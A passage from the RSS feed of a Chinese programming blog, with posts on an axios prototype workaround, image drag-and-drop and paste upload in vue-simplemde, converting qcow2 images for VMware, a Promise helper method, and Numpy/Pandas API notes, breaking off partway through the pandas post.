&lt;p&gt;有一个暴力的解决方案，不过我挺喜欢的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let axios = require(&apos;axios&apos;);

const http = axios.create({
  baseURL: &apos;https://www.google.com.hk&apos;
})

/* eslint-disable no-proto */
http.__proto__ = axios
/* eslint-enable */

module.exports = axios
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是不是很简单，一行代码解决问题。&lt;sup&gt;&lt;a href=&quot;https://bugs.cc/zh/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/#user-content-fn-eslint-proto&quot; id=&quot;user-content-fnref-eslint-proto&quot; data-footnote-ref aria-describedby=&quot;footnote-label&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;section data-footnotes class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;&lt;h2 class=&quot;visually-hidden&quot; id=&quot;footnote-label&quot;&gt;脚注&lt;/h2&gt;
&lt;ol&gt;
&lt;li id=&quot;user-content-fn-eslint-proto&quot;&gt;
&lt;p&gt;这里之所以要加上注释，因为在 &lt;code&gt;eslint&lt;/code&gt; 里是不允许对 &lt;code&gt;__proto__&lt;/code&gt; 进行重新赋值的。 &lt;a href=&quot;https://bugs.cc/zh/posts/analyze-the-axios-source-to-find-out-why-you-cant-use-all-and-spread-methods/#user-content-fnref-eslint-proto&quot; data-footnote-backref=&quot;&quot; aria-label=&quot;返回引用 1&quot; class=&quot;data-footnote-backref&quot; role=&quot;doc-backlink&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content:encoded><category>javascript</category><category>axios</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>基于 vue-simplemde 实现图片拖拽、粘贴功能的一些思考</title><link>https://bugs.cc/zh/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/</guid><description>监听 drop 和 paste 事件来在 vue-simplemde 实现图片拖拽、粘贴功能</description><pubDate>Thu, 12 Apr 2018 03:00:12 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;项目使用的是 vue 框架，需要一个 markdown 的编辑框，就在 npm 上找了一下，发现 &lt;a href=&quot;https://www.npmjs.com/package/simplemde&quot;&gt;simplemde&lt;/a&gt; 挺不错的，由于我比较懒，就顺便在 npm 又搜了一下，找到了 &lt;a href=&quot;https://www.npmjs.com/package/vue-simplemde&quot;&gt;vue-simplemde&lt;/a&gt; 这个 &lt;code&gt;package&lt;/code&gt;，那就开始使用它吧。&lt;/p&gt;
&lt;p&gt;但是这个 &lt;code&gt;vue-simplemde&lt;/code&gt; 不支持图片拖拽上传、粘贴上传，也不能说是因为这个 &lt;code&gt;vue-simplemde&lt;/code&gt;，因为 &lt;code&gt;vue-simplemde&lt;/code&gt; 只是对 &lt;code&gt;simplemde&lt;/code&gt; 的基础上封装成一个 Vue 插件。所以最后还是由于 &lt;code&gt;simplemde&lt;/code&gt; 没有提供相关的功能，但是为了用户体验考虑，这个功能时必要的，除非不使用 markdown 编辑器。而去使用富文本编辑器，那样的话，项目很多的代码都要进行更改。所以就在网上查了文章，及在 github 上查了一些代码。下面将进行分析&lt;/p&gt;
&lt;h2&gt;拖拽 {#drag-drop}&lt;/h2&gt;
&lt;p&gt;拖拽的 API 核心是 &lt;code&gt;drop&lt;/code&gt; 这个事件，就是当我们从桌面拖动一个文件到浏览器里时，松开的时候，而触发的事件名。&lt;/p&gt;
&lt;p&gt;我们都知道，你随便拖动一个图片到浏览器里，会直接打开这个图片，这是因为浏览器默认你拖动文件到浏览器里时，将打开这个文件，所以，我们需要阻止原生的操作。&lt;/p&gt;
&lt;p&gt;我们现在先写一段代码，让其屏蔽掉默认事件&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;window.addEventListener(&quot;drop&quot;, e =&amp;gt; {
  e = e || event
  if (e.target.className === &apos;CodeMirror-scroll&apos;) { // 如果进入到编辑器的话，将阻止默认事件
    e.preventDefault()
  }
}, false)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;CodeMirror-scroll&lt;/code&gt; 这个 Class 就是 &lt;code&gt;simplemde&lt;/code&gt; 编辑框的 Class 名称。&lt;/p&gt;
&lt;p&gt;现在我们拖拽文件到这个编辑框，然后松掉，不会出现任何反应。如果在编辑框之外的地方，还是会继续触发默认事件。&lt;/p&gt;
&lt;p&gt;下面就是获取 &lt;code&gt;simplemde&lt;/code&gt; 方法，给他 &lt;code&gt;drop&lt;/code&gt; 事件处理方法。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// 假设页面一共有三个编辑窗口，所以需要循环监听事件
[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) =&amp;gt; {
  simplemde.codemirror.on(&apos;drop&apos;, (editor, e) =&amp;gt; {
    if (!(e.dataTransfer &amp;amp;&amp;amp; e.dataTransfer.files)) {
      // 弹窗说明，此浏览器不支持此操作
      return
    }

    let dataList = e.dataTransfer.files
    let imageFiles = [] // 要上传的文件实例数组

    // 循环，是因为可能会同时拖动几个图片文件
    for (let i = 0; i &amp;lt; dataList.length; i++) {
    // 如果不是图片，则弹窗警告 仅支持拖拽图片文件
      if (dataList[i].type.indexOf(&apos;image&apos;) === -1) {
        // 下面的 continue，作用是，如果用户同时拖动 2 个图片和一个文档，那么文档不给于上传，图片照常上传。
        continue
      }
      imageFiles.push(dataList[i])  // 先把当前的文件 push 进数组里，等 for 循环结束之后，统一上传。
    }
    // uploadImagesFile 方法是上传图片的方法
    // simplemde.codemirror 的作用是用于区分当前的图片上传是处于哪个编辑框
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    // 因为已经有了下面这段代码，所以上面的屏蔽默认事件代码就不用写了
    e.preventDefault()
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;诈一看，代码好像有点多，那是因为注释的原因，下面是没有注释的代码。你可以根据下面的代码，有自己的见解和理解:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) =&amp;gt; {
  simplemde.codemirror.on(&apos;drop&apos;, (editor, e) =&amp;gt; {
    if (!(e.dataTransfer &amp;amp;&amp;amp; e.dataTransfer.files)) {
      return
    }
    let dataList = e.dataTransfer.files
    let imageFiles = []
    for (let i = 0; i &amp;lt; dataList.length; i++) {
      if (dataList[i].type.indexOf(&apos;image&apos;) === -1) {
        continue
      }
      imageFiles.push(dataList[i])
    }
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    e.preventDefault()
  })
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;粘贴 {#paste}&lt;/h2&gt;
&lt;p&gt;粘贴的 API 是 &lt;code&gt;paste&lt;/code&gt; 方法，这个不像上面一样，粘贴不需要禁止默认事件，因为我们可以看到，你复制一个图片，到浏览器里按下 &lt;code&gt;ctrl+v&lt;/code&gt; 的时候，是不会发生任何变化的，所以没用必要禁止默认事件。&lt;/p&gt;
&lt;p&gt;下面是代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;simplemde.codemirror.on(&apos;paste&apos;, (editor, e) =&amp;gt; { // 粘贴图片的触发函数
  if (!(e.clipboardData &amp;amp;&amp;amp; e.clipboardData.items)) {
    // 弹窗说明，此浏览器不支持此操作
    return
  }
  try {
    let dataList = e.clipboardData.items
    if (dataList[0].kind === &apos;file&apos; &amp;amp;&amp;amp; dataList[0].getAsFile().type.indexOf(&apos;image&apos;) !== -1) {
      this.uploadImagesFile(simplemde.codemirror, [dataList[0].getAsFile()])
    }
  } catch (e) {
    // 弹窗说明，只能粘贴图片
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之所以这里写上 &lt;code&gt;try...catch&lt;/code&gt; 方法，是因为如果你粘贴的时候，如果是一个文件，&lt;code&gt;items&lt;/code&gt; 将是空的，而在下面的 if 循环里，使用 &lt;code&gt;dataList[0].kind&lt;/code&gt;。也就是 &lt;code&gt;e.clipboardData.items[0].kind&lt;/code&gt;。当 &lt;code&gt;item&lt;/code&gt; 为空时，还去访问一个不存的 &lt;code&gt;kind&lt;/code&gt; 属性时，就会报错了。所以这里需要使用 &lt;code&gt;try...catch&lt;/code&gt; 方法进行判断。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dataList[0].getAsFile().type.indexOf(&apos;image&apos;) !== -1&lt;/code&gt; 这个句话是判断，粘贴的东西确认是图片，而不是其他东西。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;if&lt;/code&gt; 里的上传图片，不一样的地方是 &lt;code&gt;[dataList[0].getAsFile()]&lt;/code&gt;，因为为了统一格式，方便 &lt;code&gt;uploadImagesFile&lt;/code&gt; 函数进行处理，我加上了&lt;code&gt;[]&lt;/code&gt;，使之成为数组。&lt;code&gt;dataList[0].getAsFile()&lt;/code&gt; 就是获取文件实例了。&lt;/p&gt;
&lt;h2&gt;上传 {#upload}&lt;/h2&gt;
&lt;p&gt;上传就有一点麻烦了:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;uploadImagesFile (simplemde, files) {
  // 把每个文件实例使用 FormData 进行包装一下，然后返回一个数组
  let params = files.map(file =&amp;gt; {
    let param = new FormData()
    param.append(&apos;file&apos;, file, file.name)
    return param
  })

  let makeRequest = params =&amp;gt; {
    return this.$http.post(&apos;/Api/upload&apos;, params)
  }
  let requests = params.map(makeRequest)

  this.$http.spread = callback =&amp;gt; {
    return arr =&amp;gt; {
      return callback.apply(null, arr)
    }
  }

  // 服务端返回的格式是{state: Boolean，data: String}
  // state 为 false 时，data 就是返回的错误信息
  // state 为 true 时，data 是图片上传后 url 地址，这个地址是针对网站的绝对路径。如下:
  // /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png
  Promise.all(requests)
    .then(this.$http.spread((...resps) =&amp;gt; {
      for (let i = 0; i &amp;lt; resps.length; i++) {
        let {state, data} = resps[i].data
        if (!state) {
          // 弹窗显示 data 的错误信息
          continue
        }
        let url = `![](${location.origin + data})`  // 拼接成 markdown 语法
        let content = simplemde.getValue()
        simplemde.setValue(content + url + &apos;\n&apos;)  // 和编辑框之前的内容进行拼接
      }
    }))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为我是把 &lt;code&gt;axiox&lt;/code&gt; 封装成 vue 插件来使用，这样会导致，&lt;code&gt;this.$http&lt;/code&gt; 是实例化后的，而不是他本身。
&lt;code&gt;axios&lt;/code&gt; 维护者说的解决方案是，重新引入 &lt;code&gt;axios&lt;/code&gt; 包，来使用。但是我觉得没有必要。&lt;code&gt;axios.all&lt;/code&gt; 内部是 &lt;code&gt;Promise.all&lt;/code&gt;。&lt;code&gt;axios.spread&lt;/code&gt; 实现代码比较少，就直接拿过来，重新赋值给 &lt;code&gt;axios&lt;/code&gt; 就好了&lt;/p&gt;
&lt;p&gt;所以上面有段代码是&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;Promise.all(requests)
  .then(this.$http.spread((...resps) =&amp;gt; {
    // code
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把这段代码翻译一下就是&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;axios.all(requests)
  .then(axios.spread((...resps) =&amp;gt; {
    // code
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关于这个问题，请看下官方的解释: &lt;a href=&quot;https://forum.vuejs.org/t/axios-all-is-not-a-function-inside-vue-component/15601&quot;&gt;axios-all-is-not-a-function-inside-vue-component&lt;/a&gt;。也可以看下 &lt;code&gt;axios&lt;/code&gt; 的代码: &lt;a href=&quot;https://github.com/axios/axios/blob/master/lib/axios.js#L45-L48&quot;&gt;axios.js#L45-L48&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个问题，暂时就不深究了，我们回到刚刚的话题上。&lt;/p&gt;
&lt;p&gt;上面我说到当 state 为 true 时，data 是文件相对于网站的绝对路径，如: &lt;code&gt;/static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果我们需要进行拼接一下，所以就有了 &lt;code&gt;![](${location.origin + data})&lt;/code&gt; 这段代码进行拼接。最后的两行是获取指的获取之前的内容，然后在追加 url 地址。&lt;/p&gt;
&lt;h2&gt;结尾 {#conclusion}&lt;/h2&gt;
&lt;p&gt;下面是最终的效果图:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/simplemde-realizes-some-thoughts-on-drag-and-drop-and-paste-function/drag-paste-upload.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;完整代码: &lt;a href=&quot;https://github.com/BlackHole1/Koler/blob/8e4677897fa7eb7545f3d269642e9ab6f5f44b5e/src/components/Subject/Subject.vue#L378-L465&quot;&gt;Subject.vue#L378-L465&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;参考 &amp;amp;&amp;amp; 感谢 {#references}&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/skecozo/laravel-demo/blob/c18efbffaaef59ded6180c0201de2bad0e248c4c/resources/assets/js/lib/simplemde.js&quot;&gt;skecozo 作者的 laravel-demo 项目里的部分代码&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.it9g.com/post/simplemde-to-achieve-drag-and-drop,-paste-pictures-upload&quot;&gt;Lemon 作者的《simplemde 实现拖拽、粘贴图片上传》文章&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/vue-simplemde&quot;&gt;f-loat 作者的 vue-simplemde 项目&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.npmjs.com/package/simplemde&quot;&gt;wescossick 作者的 simplemde 项目&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><category>vue</category><category>markdown</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>在 vmware 里运行 qcow2 镜像</title><link>https://bugs.cc/zh/posts/run-qcow2-image-in-vmware/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/run-qcow2-image-in-vmware/</guid><description>使用 qemu-img 把 qcow2 转化为 vmdk 格式</description><pubDate>Tue, 23 Jan 2018 01:12:31 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;因为一些原因，需要在自己的笔记本上运行 qcow2 镜像。做个 OpenStack 平台吧，系统配置吃不消。想试一下能不能在 vmware 里直接跑 qcow2 镜像。网上的答案都是使用 &lt;code&gt;qemu-img&lt;/code&gt; 工具进行转化，但是都后面也就没有说明了。于是自己折腾了一下，把过程记录一下。&lt;/p&gt;
&lt;h2&gt;准备 {#preparation}&lt;/h2&gt;
&lt;p&gt;需要先下载 &lt;code&gt;qemu-img&lt;/code&gt; 工具，因为我是在 windows64 位上，所以就下载了 &lt;a href=&quot;https://qemu.weilnetz.de/w64/&quot;&gt;win64 的镜像&lt;/a&gt;，工具安装好后，最好在环境变量里的 &lt;code&gt;PATH&lt;/code&gt; 里加入下一安装目录，方便后面的操作&lt;/p&gt;
&lt;p&gt;Vmware 虚拟机、qcow2 原始镜像包就不说了，必备的。&lt;/p&gt;
&lt;h2&gt;流程 {#steps}&lt;/h2&gt;
&lt;p&gt;首先使用 &lt;code&gt;qemu-img&lt;/code&gt; 工具，把 qcow2 的镜像转化成 vmdk 格式的:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ qemu-img convert -f qcow2 CentOS_7.2_x86_64_XD.qcow2 -O vmdk Centos.vmdk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后会在根目录出现 Centos.vmdk 镜像，但是无法导入，因为没有 vmx 文件。导入到 Vmware 里会报错。&lt;/p&gt;
&lt;p&gt;所以，我们先使用 VMware 建立一个空的虚拟机，系统因你的 qcow2 进行选择，因为我是 Centos7。我这里选择的是 Centos 7 64 位系统。&lt;/p&gt;
&lt;p&gt;创建好了之后，进入 &lt;code&gt;Virtual Machines&lt;/code&gt; 目录下的你刚刚创建虚拟机的目录，把 vmdk 文件删除，用之间 &lt;code&gt;qemu-img&lt;/code&gt; 转化后的文件，覆盖过去，启动 Vmware 就成功了。&lt;/p&gt;
&lt;p&gt;下面是演示视频:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=GE1dkDgRSPA&quot;&gt;YouTube: https://www.youtube.com/watch?v=GE1dkDgRSPA&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>virtualization</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>对 Promise 增加统一操作扩展</title><link>https://bugs.cc/zh/posts/add-unified-operation-extensions-to-promise/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/add-unified-operation-extensions-to-promise/</guid><description>添加一个无论是否成功失败，都会调用的函数，且函数知道上一步的状态</description><pubDate>Sat, 06 Jan 2018 09:34:21 GMT</pubDate><content:encoded>&lt;h2&gt;前言 {#intro}&lt;/h2&gt;
&lt;p&gt;在 ES6 里，增加了 &lt;code&gt;Promise&lt;/code&gt; 方法。而 &lt;code&gt;Promise&lt;/code&gt; 的回调函数只有 &lt;code&gt;then&lt;/code&gt; 和 &lt;code&gt;catch&lt;/code&gt; 两种方法。&lt;/p&gt;
&lt;p&gt;而后，Promise 又添加了两种附加方法，当然需要自己去添加进去。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;一个是 &lt;code&gt;done&lt;/code&gt; 方法: &lt;a href=&quot;http://es6.ruanyifeng.com/#docs/promise#done&quot;&gt;http://es6.ruanyifeng.com/#docs/promise#done&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;一个是 &lt;code&gt;finally&lt;/code&gt; 方法: &lt;a href=&quot;http://es6.ruanyifeng.com/#docs/promise#finally&quot;&gt;http://es6.ruanyifeng.com/#docs/promise#finally&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以去看一下上文的链接去了解一下，或者去下面的链接，看下官方源码是如何实现的: &lt;a href=&quot;https://github.com/then/promise/blob/master/src/done.js&quot;&gt;done&lt;/a&gt; 和 &lt;a href=&quot;https://github.com/then/promise/blob/master/src/finally.js&quot;&gt;finally&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;正文 {#unified-method}&lt;/h2&gt;
&lt;p&gt;但是却没有一个针对 &lt;code&gt;then&lt;/code&gt; 和 &lt;code&gt;catch&lt;/code&gt; 的统一操作。&lt;/p&gt;
&lt;p&gt;如果在最后处理的时候，&lt;code&gt;then&lt;/code&gt; 和 &lt;code&gt;catch&lt;/code&gt; 的代码处理逻辑差不多的情况下，可能就需要写两份差不多的代码量。&lt;/p&gt;
&lt;p&gt;当然可能会有些人会把差不多的代码处理逻辑提取到一个函数里，但是这样也不太美观，这个时候如果有一个回调函数可以同时处理 &lt;code&gt;resolve&lt;/code&gt; 和 &lt;code&gt;reject&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;p&gt;我们可以对 &lt;code&gt;Promise&lt;/code&gt; 方法添加一个原型函数。这个函数来捕获 &lt;code&gt;resolve&lt;/code&gt; 和 &lt;code&gt;reject&lt;/code&gt;，然后进行处理返回，就好了。代码很简单，如下:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;Promise.prototype.unified = function (callback) {
  this.then(
    data =&amp;gt; callback(true, data),
    data =&amp;gt; callback(false, data)
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用的方法也很简单，我们先写一个没有&lt;code&gt;统一操作&lt;/code&gt;的 Promise 代码:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() =&amp;gt; resolve(&apos;success&apos;), 1000)
  } else {
    setTimeout(() =&amp;gt; reject(&apos;error&apos;), 1000)
  }
})

promise
  .then((data) =&amp;gt; {
    console.log(
      state: true,
      data: data,
      msg: &apos;operation successful&apos;
    )
  })
  .catch((data) =&amp;gt; {
    console.log(
      state: false,
      data: data,
      msg: &apos;operation failed&apos;
    )
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们使用 &lt;code&gt;unified&lt;/code&gt; 方法重写一个:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() =&amp;gt; resolve(&apos;success&apos;), 1000)
  } else {
    setTimeout(() =&amp;gt; reject(&apos;error&apos;), 1000)
  }
})

promise.unified((state, data) =&amp;gt; {
  const msg = state ? &apos;operation successful&apos; : &apos;operation failed&apos;
  console.log(
    state,
    data,
    msg
  )
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是不是方法了很多，当然此方法属于代码耦合了。也请谨慎使用，不然后期维护会很麻烦。&lt;/p&gt;
</content:encoded><category>javascript</category><category>promise</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Numpy &amp; Pandas &amp; Matplotilb 部分 API 操作</title><link>https://bugs.cc/zh/posts/numpy-pandas-matplotlib-some-api/</link><guid isPermaLink="true">https://bugs.cc/zh/posts/numpy-pandas-matplotlib-some-api/</guid><description>介绍下 Numpy、Pandas、Matplotilb 部分的 API</description><pubDate>Sun, 12 Nov 2017 13:04:48 GMT</pubDate><content:encoded>&lt;h2&gt;Numpy&lt;/h2&gt;
&lt;h3&gt;导入 {#numpy-import}&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;import numpy as np&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;h4&gt;创建数组 {#create-array}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;np.array([10, 11, 12, 13])
# [10 11 12 13]


np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


np.array([[1, 2], [3, 4]])
# [
#   [1 2]
#   [3 4]
# ]


np.arange(4)
# [0 1 2 3]


np.arange(2, 6)
# [2 3 4 5]


np.arange(4).reshape([2,2])
# [
#   [0 1]
#   [2 3]
# ]


np.random.random([2,3])
# [
#   [ 0.00136044  0.46854718  0.59149907]
#   [ 0.75636339  0.18204628  0.53191402]
# ]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;求值 {#calculation}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;arr = np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


# 总数
np.sum(arr, axis=0)
# [23 25 27]
np.sum(arr, axis=1)
# [33 42]


# 最小数
np.min(arr, axis=0)
# [10 11 12]
np.min(arr, axis=1)
# [10 13]


# 最大数
np.max(arr, axis=0)
# [13 14 15]
np.max(arr, axis=1)
# [12 15]


# 最大/小值得索引值
np.argmin(arr)
# 0 0 是索引
np.argmax(arr)
# 5 5 是索引


# 平均值
arr.mean()
# np.mean(arr)
# 12.5
np.average(arr)
# 12.5


# 逐步增加
np.cumsum(arr)
# [10 21 33 46 60 75]


# 相差
np.diff(arr)
# [
#   [1 1]
#   [1 1]
# ]

# 替换
np.clip(arr, 11, 14)
# [
#   [11 11 12]
#    [13 14 14]
# ]
# 小于 11 的数替换成 11，大于 14 的数替换成 14，其他数不变
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;索引 {#indexing}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;arr = np.arange(3, 15).reshape([3,4])
# [
#   [ 3  4  5  6]
#   [ 7  8  9 10]
#   [11 12 13 14]
# ]

arr[1, 1]
# arr[1][1]
# 8

arr[:, 1]
# [ 4 8 12]

arr[1, :]
# [ 7 8 9 10]

arr[1, 1:3]
# [8 9]

arr.flatten()
# [ 3  4  5  6  7  8  9 10 11 12 13 14]

for i in arr.flat:
  print(i)
# 每行打印出值。arr.flat 是迭代器
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;合并 {#numpy-merge}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;A = np.array([1, 1, 1])
B = np.array([2, 2, 2])

np.vstack((A, B))
# [
#   [1 1 1]
#   [2 2 2]
# ]
np.hstack((A, B))
# [1 1 1 2 2 2]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;分割 {#split}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;arr = np.arange(12).reshape([3,4])
# [
#   [ 0  1  2  3]
#   [ 4  5  6  7]
#   [ 8  9 10 11]
# ]

np.split(arr, 2, axis=1)
# [array([
#   [0, 1],
#   [4, 5],
#   [8, 9]
# ]),
# array([
#   [ 2,  3],
#   [ 6,  7],
#   [10, 11]]
# )]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Pandas&lt;/h2&gt;
&lt;h3&gt;导入 {#pandas-import}&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;import pandas as pd&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;API&lt;/h3&gt;
&lt;h4&gt;创建列表 {#create-dataframe}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;pd.Series([1, 3, 6, np.nan, 44, 1])
# 0     1.0
# 1     3.0
# 2     6.0
# 3     NaN
# 4    44.0
# 5     1.0
# dtype: float64


pd.date_range(&apos;20171108&apos;, periods=6)
# DatetimeIndex(
#   [&apos;2017-11-08&apos;, &apos;2017-11-09&apos;, &apos;2017-11-10&apos;, &apos;2017-11-11&apos;,&apos;2017-11-12&apos;, &apos;2017-11-13&apos;],
#   dtype=&apos;datetime64[ns]&apos;,
#   freq=&apos;D&apos;
# )


dates = pd.date_range(&apos;20171108&apos;, periods=6)
pd.DataFrame(np.random.randn(6, 4), index=dates, columns=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])
#                    a         b         c         d
# 2017-11-08  0.644350  1.122020 -1.263401  0.163371
# 2017-11-09  0.573329 -0.242054 -0.342220  1.070905
# 2017-11-10  0.714291 -0.721509 -2.298672 -0.513572
# 2017-11-11 -0.614927  2.010482 -1.369179 -0.901276
# 2017-11-12  0.709672 -0.430620  1.070244 -2.308874
# 2017-11-13  1.284080  1.169807  1.668942  0.859300


pd.DataFrame({
  &apos;A&apos;: 1.,
  &apos;B&apos;: pd.Timestamp(&apos;20171108&apos;),
  &apos;C&apos;: pd.Series(1, index=list(range(4)), dtype=&apos;float32&apos;),
  &apos;D&apos;: np.array([3] * 4, dtype=&apos;int32&apos;),
  &apos;E&apos;: pd.Categorical([&apos;test&apos;, &apos;train&apos;, &apos;test&apos;, &apos;train&apos;]),
  &apos;F&apos;: &apos;foo&apos;
})
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;选择获取 {#selection}&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datas = pd.DataFrame({
  &apos;A&apos;: 1.,
  &apos;B&apos;: pd.Timestamp(&apos;20171108&apos;),
  &apos;C&apos;: pd.Series(1, index=list(range(4)), dtype=&apos;float32&apos;),
  &apos;D&apos;: np.array([3] * 4, dtype=&apos;int32&apos;),
  &apos;E&apos;: pd.Categorical([&apos;test&apos;, &apos;train&apos;, &apos;test&apos;, &apos;train&apos;]),
  &apos;F&apos;: &apos;foo&apos;
})
#     A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

datas.A
# datas[&apos;A&apos;]
# 0    1.0
# 1    1.0
# 2    1.0
# 3    1.0
# Name: A, dtype: float64

datas[0:3]
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo

datas.loc[0]
# 当 index 是类似&apos;2017-11-8 的时候&apos;，datas.loc[&apos;20171108&apos;]
# A                      1
# B    2017-11-08 00:00:00
# C                      1
# D                      3
# E                   test
# F                    foo
# Name: 0, dtype: object

datas.loc[:,[&apos;A&apos;, &apos;B&apos;]]
#      A          B
# 0  1.0 2017-11-08
# 1  1.0 2017-11-08
# 2  1.0 2017-11-08
# 3  1.0 2017-11-08

datas.loc[[1, 3],[&apos;A&apos;, &apos;B&apos;]]
#      A          B
# 1  1.0 2017-11-08
# 3  1.0 2017-11-08

# icol 是基于行号获取的，col 是基于 index 获取的，ix 是他们俩的混合 (index、行号都可以)
# icol[1]
# ix[1]
# 当 index 为 2017-11-08 时，ix[&apos;20171108&apos;]

datas[datas.E == &apos;test&apos;]
#               A          B    C  D     E    F
# 2017-11-08  1.0 2017-11-08  1.0  3  test  foo
# 2017-11-10  1.0 2017-11-08  1.0  3  test  foo

datas.index
